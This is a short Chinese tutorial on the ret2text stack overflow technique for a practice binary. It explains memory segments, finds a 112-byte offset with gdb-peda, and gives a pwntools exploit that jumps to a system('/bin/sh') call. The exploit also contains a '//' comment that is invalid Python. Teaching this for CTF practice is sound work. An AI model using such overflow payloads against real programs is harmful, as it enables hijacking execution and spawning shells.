Ret2Text原理及应用

0x 01 Ret2Text原理

  • BSS段通常是指用来存放程序中未初始化的全局变量的一块内存区域。BSS段属于静态内存分配。
  • Data通常是指用来存放程序中已初始化的全局变量的一块内存区域。数据段属于静态内存分配。
  • Text通常是指用来存放程序执行代码的一块内存区域。称为代码段。
  • rodata段存放C中的字符串和#define定义的常量

ret2text 即控制程序执行程序本身已有的的代码 (.text),使EIP指向具有system(“/bin/sh”)的代码段

0x 02 实例分析

ida查看程序中,存在system函数

main函数伪代码如下:

首先寻找多少字节能溢出切刚好能够覆盖return addr。我们使用gdb-peda提供的pattern_create和pattern_offset。pattern_create是生成一个字符串模板输入后根据EIP来确定覆盖return addr的长度。

1
2
gdb-peda$ pattern_create 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'

然后让程序跑起来输入这串字符串后程序崩溃。根据错误地址计算偏移量

1
2
3
4
5
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41384141 in ?? ()
gdb-peda$ pattern offset 0x41384141
1094205761 found at offset: 112

最终exp如下:

1
2
3
4
5
from pwn import *
p = process("./ret2text")
payload = 112 * 'a' + p32(0x0804863a) //system函数的入口地址
p.sendline(payload)
p.interactive()